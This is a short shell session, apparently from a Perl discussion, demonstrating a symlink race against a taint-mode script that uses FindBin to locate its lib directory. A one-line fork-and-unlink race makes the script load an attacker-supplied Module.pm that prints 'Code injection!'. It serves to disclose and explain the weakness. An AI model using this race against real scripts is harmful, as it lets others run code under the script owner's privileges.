$ cat ../safe/script.pl
#!/usr/bin/perl -wT
BEGIN {
# amend @INC without taint
use FindBin;
my $path = $FindBin::RealBin;
$path =~ /^(.+)$/;
$path = $1;
my $relative_path = 'lib';
unshift @INC, "$path/$relative_path";
}
use Module;
$ cat ../safe/lib/Module.pm
print("All's well\n");
1;
####
$ ln -s ../safe/script.pl
$ cat lib/Module.pm
print("Code injection!\n");
1;
####
$ ../safe/script.pl
All's well
####
$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01
Code injection!